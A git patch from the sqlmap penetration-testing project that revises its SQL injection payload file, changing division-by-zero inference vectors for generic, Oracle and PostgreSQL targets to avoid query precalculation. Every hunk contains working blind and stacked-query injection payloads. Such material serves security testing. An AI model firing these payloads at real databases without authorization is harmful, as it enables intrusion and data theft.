From c18899662705200489a38ef9e454c440b79fbb6b Mon Sep 17 00:00:00 2001
From: Miroslav Stampar <miroslav.stampar@gmail.com>
Date: Mon, 24 Jan 2011 16:21:27 +0000
Subject: [PATCH] patch for possible query optimization (avoid precalculation
 of 1/0)

---
 xml/payloads.xml | 42 +++++++++++++++++++++---------------------
 1 file changed, 21 insertions(+), 21 deletions(-)

diff --git a/xml/payloads.xml b/xml/payloads.xml
index c1a6deb73..8e3467922 100644
--- a/xml/payloads.xml
+++ b/xml/payloads.xml
@@ -585,12 +585,12 @@ Formats:
         <risk>1</risk>
         <clause>1,2,3</clause>
         <where>3</where>
-        <vector>(SELECT (CASE WHEN ([INFERENCE]) THEN 1 ELSE 1/0 END))</vector>
+        <vector>(SELECT (CASE WHEN ([INFERENCE]) THEN 1 ELSE 1/(SELECT 0) END))</vector>
         <request>
-            <payload>(SELECT (CASE WHEN ([RANDNUM]=[RANDNUM]) THEN 1 ELSE 1/0 END))</payload>
+            <payload>(SELECT (CASE WHEN ([RANDNUM]=[RANDNUM]) THEN 1 ELSE 1/(SELECT 0) END))</payload>
         </request>
         <response>
-            <comparison>(SELECT (CASE WHEN ([RANDNUM]=[RANDNUM1]) THEN 1 ELSE 1/0 END))</comparison>
+            <comparison>(SELECT (CASE WHEN ([RANDNUM]=[RANDNUM1]) THEN 1 ELSE 1/(SELECT 0) END))</comparison>
         </response>
     </test>
 
@@ -601,12 +601,12 @@ Formats:
         <risk>1</risk>
         <clause>1,2,3</clause>
         <where>3</where>
-        <vector>(SELECT (CASE WHEN ([INFERENCE]) THEN [ORIGVALUE] ELSE 1/0 END))</vector>
+        <vector>(SELECT (CASE WHEN ([INFERENCE]) THEN [ORIGVALUE] ELSE 1/(SELECT 0) END))</vector>
         <request>
-            <payload>(SELECT (CASE WHEN ([RANDNUM]=[RANDNUM]) THEN [ORIGVALUE] ELSE 1/0 END))</payload>
+            <payload>(SELECT (CASE WHEN ([RANDNUM]=[RANDNUM]) THEN [ORIGVALUE] ELSE 1/(SELECT 0) END))</payload>
         </request>
         <response>
-            <comparison>(SELECT (CASE WHEN ([RANDNUM]=[RANDNUM1]) THEN [ORIGVALUE] ELSE 1/0 END))</comparison>
+            <comparison>(SELECT (CASE WHEN ([RANDNUM]=[RANDNUM1]) THEN [ORIGVALUE] ELSE 1/(SELECT 0) END))</comparison>
         </response>
     </test>
 
@@ -676,12 +676,12 @@ Formats:
         <risk>1</risk>
         <clause>1,3</clause>
         <where>3</where>
-        <vector>(SELECT (CASE WHEN ([INFERENCE]) THEN [ORIGVALUE] ELSE 1/0 END) FROM DUAL)</vector>
+        <vector>(SELECT (CASE WHEN ([INFERENCE]) THEN [ORIGVALUE] ELSE 1/(SELECT 0 FROM DUAL) END) FROM DUAL)</vector>
         <request>
-            <payload>(SELECT (CASE WHEN ([RANDNUM]=[RANDNUM]) THEN [ORIGVALUE] ELSE 1/0 END) FROM DUAL)</payload>
+            <payload>(SELECT (CASE WHEN ([RANDNUM]=[RANDNUM]) THEN [ORIGVALUE] ELSE 1/(SELECT 0 FROM DUAL) END) FROM DUAL)</payload>
         </request>
         <response>
-            <comparison>(SELECT (CASE WHEN ([RANDNUM]=[RANDNUM1]) THEN [ORIGVALUE] ELSE 1/0 END) FROM DUAL)</comparison>
+            <comparison>(SELECT (CASE WHEN ([RANDNUM]=[RANDNUM1]) THEN [ORIGVALUE] ELSE 1/(SELECT 0 FROM DUAL) END) FROM DUAL)</comparison>
         </response>
         <details>
             <dbms>Oracle</dbms>
@@ -699,12 +699,12 @@ Formats:
         <risk>1</risk>
         <clause>2,3</clause>
         <where>1</where>
-        <vector>, (SELECT (CASE WHEN ([INFERENCE]) THEN 1 ELSE 1/0 END))</vector>
+        <vector>, (SELECT (CASE WHEN ([INFERENCE]) THEN 1 ELSE 1/(SELECT 0) END))</vector>
         <request>
-            <payload>, (SELECT (CASE WHEN ([RANDNUM]=[RANDNUM]) THEN 1 ELSE 1/0 END))</payload>
+            <payload>, (SELECT (CASE WHEN ([RANDNUM]=[RANDNUM]) THEN 1 ELSE 1/(SELECT 0) END))</payload>
         </request>
         <response>
-            <comparison>, (SELECT (CASE WHEN ([RANDNUM]=[RANDNUM1]) THEN 1 ELSE 1/0 END))</comparison>
+            <comparison>, (SELECT (CASE WHEN ([RANDNUM]=[RANDNUM1]) THEN 1 ELSE 1/(SELECT 0) END))</comparison>
         </response>
     </test>
 
@@ -715,12 +715,12 @@ Formats:
         <risk>1</risk>
         <clause>2,3</clause>
         <where>1</where>
-        <vector>, (SELECT (CASE WHEN ([INFERENCE]) THEN [ORIGVALUE] ELSE 1/0 END))</vector>
+        <vector>, (SELECT (CASE WHEN ([INFERENCE]) THEN [ORIGVALUE] ELSE 1/(SELECT 0) END))</vector>
         <request>
-            <payload>, (SELECT (CASE WHEN ([RANDNUM]=[RANDNUM]) THEN [ORIGVALUE] ELSE 1/0 END))</payload>
+            <payload>, (SELECT (CASE WHEN ([RANDNUM]=[RANDNUM]) THEN [ORIGVALUE] ELSE 1/(SELECT 0) END))</payload>
         </request>
         <response>
-            <comparison>, (SELECT (CASE WHEN ([RANDNUM]=[RANDNUM1]) THEN [ORIGVALUE] ELSE 1/0 END))</comparison>
+            <comparison>, (SELECT (CASE WHEN ([RANDNUM]=[RANDNUM1]) THEN [ORIGVALUE] ELSE 1/(SELECT 0) END))</comparison>
         </response>
     </test>
 
@@ -790,12 +790,12 @@ Formats:
         <risk>1</risk>
         <clause>2,3</clause>
         <where>1</where>
-        <vector>, (SELECT (CASE WHEN ([INFERENCE]) THEN [ORIGVALUE] ELSE 1/0 END) FROM DUAL)</vector>
+        <vector>, (SELECT (CASE WHEN ([INFERENCE]) THEN [ORIGVALUE] ELSE 1/(SELECT 0 FROM DUAL) END) FROM DUAL)</vector>
         <request>
-            <payload>, (SELECT (CASE WHEN ([RANDNUM]=[RANDNUM]) THEN [ORIGVALUE] ELSE 1/0 END) FROM DUAL)</payload>
+            <payload>, (SELECT (CASE WHEN ([RANDNUM]=[RANDNUM]) THEN [ORIGVALUE] ELSE 1/(SELECT 0 FROM DUAL) END) FROM DUAL)</payload>
         </request>
         <response>
-            <comparison>, (SELECT (CASE WHEN ([RANDNUM]=[RANDNUM1]) THEN [ORIGVALUE] ELSE 1/0 END) FROM DUAL)</comparison>
+            <comparison>, (SELECT (CASE WHEN ([RANDNUM]=[RANDNUM1]) THEN [ORIGVALUE] ELSE 1/(SELECT 0 FROM DUAL) END) FROM DUAL)</comparison>
         </response>
         <details>
             <dbms>Oracle</dbms>
@@ -1608,13 +1608,13 @@ Formats:
         <risk>0</risk>
         <clause>0</clause>
         <where>2</where>
-        <vector>; SELECT (CASE WHEN ([INFERENCE]) THEN [RANDNUM] ELSE 1/0 END);</vector>
+        <vector>; SELECT (CASE WHEN ([INFERENCE]) THEN [RANDNUM] ELSE 1/(SELECT 0) END);</vector>
         <request>
-            <payload>; SELECT (CASE WHEN ([RANDNUM]=[RANDNUM]) THEN [RANDNUM] ELSE 1/0 END);</payload>
+            <payload>; SELECT (CASE WHEN ([RANDNUM]=[RANDNUM]) THEN [RANDNUM] ELSE 1/(SELECT 0) END);</payload>
             <comment>--</comment>
         </request>
         <response>
-            <comparison>; SELECT (CASE WHEN ([RANDNUM]=[RANDNUM1]) THEN [RANDNUM] ELSE 1/0 END);</comparison>
+            <comparison>; SELECT (CASE WHEN ([RANDNUM]=[RANDNUM1]) THEN [RANDNUM] ELSE 1/(SELECT 0) END);</comparison>
         </response>
         <details>
             <dbms>PostgreSQL</dbms>